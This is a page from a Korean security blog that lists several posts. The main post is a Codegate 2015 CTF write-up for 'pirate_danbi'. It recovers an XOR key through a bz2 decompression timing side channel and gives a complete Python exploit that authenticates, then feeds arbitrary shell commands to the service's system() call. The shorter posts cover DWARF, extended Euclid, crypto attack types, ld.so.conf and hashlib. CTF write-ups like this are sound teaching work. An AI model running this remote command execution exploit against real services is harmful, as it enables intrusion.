Be myself :: '분류 전체보기' 카테고리의 글 목록 (4 Page)

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

'분류 전체보기'에 해당되는 글 116건

  1. 2015.05.12 [codegate2015]pirate_danbi
  2. 2015.05.08 elf DWARF관련..
  3. 2015.05.07 확장된 유클리드
  4. 2015.04.28 [pwnable.kr]echo2
  5. 2015.04.25 암호 공격방법
  6. 2015.03.31 os.execve 주의
  7. 2015.03.22 문자열 함수들 특징
  8. 2015.03.22 [펌]라이브러리 로딩 ld.so.conf
  9. 2015.03.21 [펌]python hashlib
  10. 2015.03.19 pcap 파일 카빙

[codegate2015]pirate_danbi

Wargame 2015. 5. 12. 15:24

일단 처음 입력 값은 [menu select 1byte][input size 2byte]로 받아서 처리한다. 메뉴들을 살펴보면 단순하다. 1번 메뉴에선 인풋에 대한 인증처리를 하고 2번 메뉴에선

선 인풋값에 대한 bz2파일을 하나 만든다. 3번 메뉴에선 1번메뉴에서 정상적인 인풋값을 가지면 flag역할을 하는 변수(0x6030f0)가 on되는데, 그렇다면 bz2압축을 풀고 그 결과 값에 대한 파일을 하나 만든다. 4번메뉴도 정확한 input값이 들어 왔는지 strcmp함수로 비교하고 정상적인 인풋이라면 flag역할을 하는 변수(0x6030ec)를 on한다. 메뉴 5번은 system함수로 bz2압축이 풀린 파일을 실행한다. 이 때 4번에서 on된 flag변수(0x6030ec)를 확인하여 1의 값을 가져야 system함수가 호출된다.

그래서 관건은 1번메뉴를 잘 리버싱해서 정상적인 input을 가지도록 한다면 원하는 명령을 수행할 수 있을 것이다. 1번메뉴를 보면 다음과 같다.

input size가 8의 배수인지 아닌지 체크하고 인풋 값이 정상적인지 아닌지 key_input_calc에서 체크한다. 저 부분을 리버싱하면 된다.

여기에서 보면 cmp_string부분은 나중에 strcmp함수 인증통과를 위한 부분인데, 이 부분을 이용하려면 key값이 필요할것 이다. 위에서  xor_result값이 key값이랑 xor 된 값이라는 것을 알 수 있고 이 부분을 brute force하면 key값을 알 수 있을 것 같다.(xor_result[7]=1이 될 경우 bz_flag가 1이되고 따라서 bz2압축해제가 가능하게 된다. bz2 압축을 많은 데이터로 압축하고, 해제를 2000번정도 해 주면 압축해제가 되는지 안되는지 알 수 있다(timing attack) 따라서 key^input = 1 이므로 key값의 1바이트를 구할 수 있게 되고 다른 key값도 마찬가지 방식으로 구해 올 수 있다.)

이런 방식으로 key값을 얻어오고 cmp_string값을 YO_DANBI_CREW_IN_THE_HOUSE. 로 조작하면 기본 조건이 완성되고, 우리가 원하는 명령어를 실행 시킬 수 있다.



#!/usr/bin/python
from socket import *
from telnetlib import *
import time
import struct
import bz2

leng = lambda x: struct.pack(">h",x)
menu = lambda x: struct.pack("q",x)

def read_zip(s):
    pay = menu(0x3)+leng(0x10)
    pay += "A"*0x10
    s.send(pay)
    #return pay

def write_zip(s):
    f = open("bztest.bz2")
    buf = f.read()

    pay = menu(0x2)+leng(len(buf))
    pay += buf
    s.send(pay)
    f.close()
    #return pay

def banner(s):
    pay = menu(0x6)+leng(0x2800)
    pay += "A"*0x2800
   
    s.send(pay)

    s.shutdown(SHUT_WR)
    print s.recv(1000)
    s.close()


def connect_brute_key(last):
    s = socket()
    s.connect(('localhost',31339))

    write_zip(s)
    pay = menu(0x1)+leng(0x10)
    pay += "A"*(0x10-len(last))+last
    
    #return pay
    s.send(pay)
    for i in range(3000):
        read_zip(s)
    banner(s) 


def get_key():
    key = []
    b_key = "A"*8
    count = 0

    for j in range(7,-1,-1):
        count += 1
        for i in range(0x100):
            t1 = time.time()
            pay = b_key[:j]+chr(i)+b_key[j+1:]
            connect_brute_key(pay)
            print "[*]attack "+pay.encode('hex')
            t2 = time.time()
            result = t2-t1
            print "*"+hex(j)+"[* "+hex(i) +" time] " +str(result)
            if result > 0.2:
                print "[*]found"
                if(len(key)==0):
                    key.append(i^1)
                    b_key = b_key[:8-1]+chr(key[0]^(count+1))
                    break
                else:
                    key.insert(0,i^count)
                    b_key = b_key[:8-count]
                    for t in range(count):
                        print "[*]insert %x" %(key[t]^(count+1))
                        b_key += chr(key[t]^(count+1))
                    break
            time.sleep(0.1)

    key = ''.join([chr(i) for i in key])
    b_key = ''.join([chr(i) for i in b_key])
    return key.encode('hex'),b_key.encode('hex')
    

def auth(s):
    last = "e32a4a8777f7f102".decode('hex')
    pay = menu(0x1)+leng(0x0a)
    pay += "A"*(0x10-len(last))+last
    
    s.send(pay)


key , attack = get_key()
auth_s = "YO_DANBI_CREW_IN_THE_HOUSE."
if(len(auth_s)%8 !=0):
    auth_s += "\x00"*(8-len(auth_s)%8)

padding = []
input_s = []
for i in range(0,(len(auth_s)/8)):  #divde padding 8 byte
    padding.append(auth_s[8*i:(8*i+8)])


input_s.append(attack)
for i in range((len(padding))-1,-1,-1):
    buf = ""
    for j in range(0,8):
	buf += chr((ord(padding[i][j])-ord(key[j])&0xff)^ord(input_s[0][j]))

    input_s.insert(0,buf)


input_s.pop()
input_s.append(attack)

#print padding
#print input_s
auth_key = ''.join(input_s)

s = socket()
s.connect(('localhost',31339))

#stage 1: pass calc
pay = menu(0x1)+leng(len(auth_key))
pay += auth_key

#stage 2: pass strcmp
pay += menu(0x4)+leng(0x10)
pay += "A"*0x10
s.send(pay)



while(True):    #cmd = raw_input("$")
    cmd = raw_input("$")
    #stage 3: write payload to bz2
    cmd = bz2.compress(cmd)
    pay = menu(0x2)+leng(len(cmd))
    pay += cmd

    #stage 4: write payload to file
    pay += menu(0x3)+leng(0x10)
    pay += "A"*0x10

    #stage 5 : run sh
    pay += menu(0x5)+leng(0x10)
    pay += "A"*0x10

    time.sleep(0.2)
    s.send(pay)
    print s.recv(1000)


	

danbi2.py



'Wargame' 카테고리의 다른 글

[pwnable.kr]crypto1  (0) 2015.07.06
Codegate2015 bookstore  (0) 2015.07.01
[pwnable.kr]echo2  (0) 2015.04.28
[pwnable.kr]echo1  (0) 2015.02.20
[pwnable.kr]coin2  (0) 2015.01.07
Posted by flack3r
|

elf DWARF관련..

Reversing 2015. 5. 8. 11:48

c++에서 익셉션이 발생했을 때 (try~catch 구문에서) stack unwinding 과정을 거쳐 catch문으로 eip가 이동해 핸들러가 실행되게 되는데, 익셉션이 발생한 시점에서 바로 예외 핸들러가 실행되게 되면, 스택이나 레지스터가 제대로 세팅된 상태가 아니기 때문에 에러가 난다. 이를 방지하기 위해 DWARF(elf 디버깅 정보 저장)에 byte code로 eh_frame섹션에 저장되어 있다. 이 byte code들은 libc의 DWARF 인터프리터에 의해 실행된다. 

DWARF 정보를 알기 위해 readelf -w [elf file name]과 같이 입력하면 된다.

flack3r@ubuntu:~/prob$ readelf -w echo

Contents of the .eh_frame section:


00000000 0000000000000014 00000000 CIE

  Version:               1

  Augmentation:          "zR"

  Code alignment factor: 1

  Data alignment factor: -8

  Return address column: 16

  Augmentation data:     1b


  DW_CFA_def_cfa: r7 (rsp) ofs 8

  DW_CFA_offset: r16 (rip) at cfa-8

  DW_CFA_nop

  DW_CFA_nop


00000018 0000000000000024 0000001c FDE cie=00000000 pc=0000000000400610..00000000004006b0

  DW_CFA_def_cfa_offset: 16

  DW_CFA_advance_loc: 6 to 0000000000400616

  DW_CFA_def_cfa_offset: 24

  DW_CFA_advance_loc: 10 to 0000000000400620

  DW_CFA_def_cfa_expression (DW_OP_breg7 (rsp): 8; DW_OP_breg16 (rip): 0; DW_OP_lit15; DW_OP_and; DW_OP_lit11; DW_OP_ge; DW_OP_lit3; DW_OP_shl; DW_OP_plus)

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop


00000040 000000000000001c 00000044 FDE cie=00000000 pc=0000000000400794..00000000004007c0

  DW_CFA_advance_loc: 1 to 0000000000400795

  DW_CFA_def_cfa_offset: 16

  DW_CFA_offset: r6 (rbp) at cfa-16

  DW_CFA_advance_loc: 3 to 0000000000400798

  DW_CFA_def_cfa_register: r6 (rbp)

  DW_CFA_advance_loc: 39 to 00000000004007bf

  DW_CFA_def_cfa: r7 (rsp) ofs 8

  DW_CFA_nop

  DW_CFA_nop

  DW_CFA_nop


여기서 CIE는 익셉션이 발생했을 때 공통적으로 실행되는 부분이고 FDE는 특정 예외 처리 부분이라고 한다.

DW_CFA_val_expression 에 대한 설명은 http://www.dwarfstd.org/doc/040408.1.html 에 있다.


'Reversing' 카테고리의 다른 글

vmware 디버깅  (0) 2015.01.28
peda 설치법  (0) 2014.10.17
지뢰 찾기 핵  (1) 2014.07.29
치트엔진을 활용한 환세취호전 핵  (2) 2014.07.28
DLL Injection  (1) 2014.05.17
Posted by flack3r
|

확장된 유클리드

crypto 2015. 5. 7. 23:31

def EEC(a,b):

s,_s=0,1

t,_t=1,0

r,_r=b,a

while r>0:

q=_r/r

_r,r=r,_r-q*r

_s,s=s,_s-q*s

_t,t=t,_t-q*t


gcd = _r

x,y=_s,_t


return x,y,gcd



ax == 1(mod b)

에서 x,y, gcd(1) 구함

'crypto' 카테고리의 다른 글

[BCTF 2017]Beginner's luck (crypto 40)  (0) 2017.02.05
[picoctf 2015]Repeated XOR  (4) 2015.11.20
암호 공격방법  (0) 2015.04.25
[펌]python hashlib  (0) 2015.03.21
전반적인 암호화  (0) 2015.02.26
Posted by flack3r
|

[pwnable.kr]echo2

2015. 4. 28. 00:08

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

암호 공격방법

crypto 2015. 4. 25. 17:37

각 알고리즘마다 공격 방식이 다 다르지만 방법론적으로 크게 나눠보면,

 1. brute force attack
 2. side-attack( 암호 알고리즘과 별도로 다른 요인에 의해 키 값, 평문등을 알아내는 방식-> 예로 Timing attack이 있다.)
 3. 알고리즘을 분석,유추해 취약점을 찾아 공격하는 방식-> 이 방식은 크게 3가지로 나눌 수 있다.
    [1]평문과 암호문을 알 때 키값을 알아내는 방식
    [2]암호화 방식과 암호문을 알 때 평문을 유추해 암호화 하고 암호문과 비교해 평문을 복호화 하는 방식(chosen-plain text attack)
    [3]복호화 방식과 암호문을 알 때 키값을 유추하여 복호화 하여 키 값을 알아내는 방식


*대칭키 암호는 암호화,복호화 키가 같은 경우 이고 비대칭키 암호는 다른경우이다.



'crypto' 카테고리의 다른 글

[BCTF 2017]Beginner's luck (crypto 40)  (0) 2017.02.05
[picoctf 2015]Repeated XOR  (4) 2015.11.20
확장된 유클리드  (0) 2015.05.07
[펌]python hashlib  (0) 2015.03.21
전반적인 암호화  (0) 2015.02.26
Posted by flack3r
|

os.execve 주의

Python 2015. 3. 31. 12:51

os.execve(Target,argv,env); 식으로 오는데 argv는 list형태여야 한다. 이 때, "\x00"이 argv에 존재한다면, 오류가 뜨므로 조심해야한다.
env는 딕셔너리 형태이다.


'Python' 카테고리의 다른 글

Demon using nc.traditional  (0) 2016.01.07
String과 Integer 변환 정리  (0) 2015.08.25
str과 repr의 차이  (0) 2015.02.22
with~as 구문  (0) 2015.02.22
개발 시 팁  (0) 2015.02.18
Posted by flack3r
|

문자열 함수들 특징

2015. 3. 22. 14:36

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

라이브러리란 무엇인가?
프로그램에서 공통으로 사용할 수 있는 기능을 포함하고 있는 오브젝트 파일이다.

 

동적 라이브러리란 무엇인가?
프로그램을 컴파일하여 생성되는 바이너리에 포함하지 않고 바이너리가 실행하는 시점 또는 실행 후에 포함시킬 수 있도록 제작된 라이브러리를 말한다. 그래서 동적이라는 이름이 붙은듯!! 이런 형식의 라이브러리는 프로그램을 실행할 때 호출되는 로더에 의해서 메모리에 적재된다.

 

동적 라이브러리를 호출하기 위해서는 path 지정이 필수이다. 해당 라이브러리가 어디에 위치해 있는지 모든 디렉토리를 탐색하기에는 비효율적이기 때문이다. 우리가 흔히 설정하는 LD_LIBRARY_PATH 환경변수가 동적 라이브러리 호출을 위한 path 지정에 사용되는 환경 변수이며 또 다른 방법으로 시스템 설정을 통해서 지정할 수 있다. 이때 사용되는 설정 파일이 리눅스 기준으로 /etc/ld.so.conf 파일이 되겠다. 리눅스 Kernel 2.6 이후 부터 /etc/ld.so.conf.d 디렉토리에 *.conf 파일 형식으로 설정할 수 있다.

 

로더는 LD_LIBRARY_PATH 또는 ld.so.conf 에 명시된 디렉토리에서 동적 라이브러리를 찾으며 해당 디렉토리에 없으면 Not Found 에러를 출력한다. 컴파일시 link 오류나 실행시 loading 오류를 만나게 된다면 위 두가지 설정을 점검해 보기 바란다.

 

LD_LIBRARY_PATH 나 ld.so.conf 두군대 모두에게 설정될 필요는 없으나 다음과 같은 경우에는 ld.so.conf 에 설정하도록 유의해 보자. 바이너리에 setuid, setgid 등이 설정된 경우 리눅스의 로더는 LD_LIBRARY_PATH 환경 변수 설정을 무시해 버린다고 한다. 그도 그럴것이 악의적으로 시스템 주요 함수들이 setuid를 가진 바이너리가 호출한 라이브러리에 의해서 오버라이딩 된다면??? 끔직할 것이다. 그런 보안을 고려한 것인지 모르겠지만 로더는 ( uid != euid || gid != egid ) 상황에서 LD_LIBRARY_PATH 를 무시하기 때문에 아무리 컴파일시에 link가 정상이고 ldd로 확인해도 정상이지만 바이너리 실행시 해당 라이브러리를 찾을 수 없다는 오류를 만나게 될 것이다. 이런 경우는 LD_LIBRARY_PATH가 아니라 ld.so.conf 에 설정을 해줘야 한다.

 

공부를 하는 동안 관련된 몇 가지 링크와 명령어에 대해서 조금더 조사를 했다.

 

관련 링크 :  

관련 명령어 :

  • ldconfig - /etc/ld.so.conf 설정된 동적 라이브러리 정보를 /etc/ld.so.cache 파일로 만들어 주는 일을 한다. 이로서 로더는 ld.so.cache 정보를 기반으로 보다 빠르게 라이브러리를 찾아 낼 수 가 있다. ld.so.conf 설정을 변경하면 반드시 ldconfig 명령을 수행하여 cache 를 갱신해 주도록 하자.
  • ldconfig
    ldconfig -p

  • ldd - 공유 라이브러리의 의존성을 검사해 준다. 동적 라이브러리도 공유 라이브러리 이므로 link 시나 load 시에 에러가 난다면 점검을 해보자.
  • ldd <binary name>

  •  objdump - 오브젝트 파일에 대한 정보를 출력해 준다. Dynamic Section의 NEEDED 로 표기된 항목이 공유 라이브러리를 표시한다고 한다.
  • objdump -p <object(binary) name>

출처: http://blog.daum.net/mzinboy/3

Posted by flack3r
|

[펌]python hashlib

crypto 2015. 3. 21. 00:23

A hash function is a function that takes input of a variable length sequence of bytes and converts it to a fixed length sequence. It is a one way function. This means if f is the hashing function, calculating f(x) is pretty fast and simple, but trying to obtain x again will take years. The value returned by a hash function is often called a hash, message digest, hash value, or checksum. Most of the time a hash function will produce unique output for a given input. However depending on the algorithm, there is a possibility to find a collision due to the mathematical theory behind these functions.

hash1

Now suppose you want to hash the string "Hello Word" with the SHA1 Function, the result is 0a4d55a8d778e5022fab701977c5d840bbc486d0.

hash2

Hash functions are used inside some cryptographic algorithms, in digital signatures, message authentication codes, manipulation detection, fingerprints, checksums (message integrity check), hash tables, password storage and much more. As a Python programmer you may need these functions to check for duplicate data or files, to check data integrity when you transmit information over a network, to securely store passwords in databases, or maybe some work related to cryptography.

I want to make clear that hash functions are not a cryptographic protocol, they do not encrypt or decrypt information, but they are a fundamental part of many cryptographic protocols and tools.

Some of the most used hash functions are:

  • MD5: Message digest algorithm producing a 128 bit hash value. This is widely used to check data integrity. It is not suitable for use in other fields due to the security vulnerabilities of MD5.
  • SHA: Group of algorithms designed by the U.S's NSA that are part of the U.S Federal Information processing standard. These algorithms are used widely in several cryptographic applications. The message length ranges from 160 bits to 512 bits.

The hashlib module, included in The Python Standard library is a module containing an interface to the most popular hashing algorithms. hashlib implements some of the algorithms, however if you have OpenSSL installed, hashlib is able to use this algorithms as well.

This code is made to work in Python 3.2 and above. If you want to run this examples in Python 2.x, just remove the algorithms_available and algorithms_guaranteed calls.

First, import the hashlib module:

Now we use algorithms_available or algorithms_guaranteed to list the algorithms available.

The algorithms_available method lists all the algorithms available in the system, including the ones available trough OpenSSl. In this case you may see duplicate names in the list. algorithms_guaranteed only lists the algorithms present in the module. md5, sha1, sha224, sha256, sha384, sha512 are always present.

MD5

The code above takes the "Hello World" string and prints the HEX digest of that string. hexdigest returns a HEX string representing the hash, in case you need the sequence of bytes you should use digest instead.

It is important to note the "b" preceding the string literal, this converts the string to bytes, because the hashing function only takes a sequence of bytes as a parameter. In previous versions of the library, it used to take a string literal. So, if you need to take some input from the console, and hash this input, do not forget to encode the string in a sequence of bytes:

SHA1

SHA224

SHA256

SHA384

SHA512

Using OpenSSL Algorithms

Now suppose you need an algorithm provided by OpenSSL. Using algorithms_available, we can find the name of the algorithm you want to use. In this case, "DSA" is available on my computer. You can then use thenew and update methods:

Practical example: hashing passwords

In the following example we are hashing a password in order to store it in a database. In this example we are using a salt. A salt is a random sequence added to the password string before using the hash function. The salt is used in order to prevent dictionary attacks and rainbow tables attacks. However, if you are making real world applications and working with users' passwords, make sure to be updated about the latest vulnerabilities in this field. I you want to find out more about secure passwords please refer to this article

출처:http://www.pythoncentral.io/hashing-strings-with-python/

'crypto' 카테고리의 다른 글

[BCTF 2017]Beginner's luck (crypto 40)  (0) 2017.02.05
[picoctf 2015]Repeated XOR  (4) 2015.11.20
확장된 유클리드  (0) 2015.05.07
암호 공격방법  (0) 2015.04.25
전반적인 암호화  (0) 2015.02.26
Posted by flack3r
|

pcap 파일 카빙

Network 2015. 3. 19. 22:21

wireshark에 자체적으로 파일카빙하는 기능이 존재한다. file -> Export Objects -> HTTP 에서 Save All 을 누르면 된다. 하지만 이 방법으로 모든 파일을 완벽하게 카빙할 수가 없다. 따라서 여러가지 도구들을 같이 혼용해서 적절하게 잘 사용해야 한다.


1. foremost

foremost -v [pcap file]

이렇게 하면 파일이 잘 나온다.


하지만 pcap파일 카빙용 툴이 아니므로 이 것 또한 추출하지 못하는 파일이 존재 할 수도 있다.


2 .NetworkMinner

윈도우용 툴이다. 


'Network' 카테고리의 다른 글

기본구조  (0) 2014.05.04
Posted by flack3r
|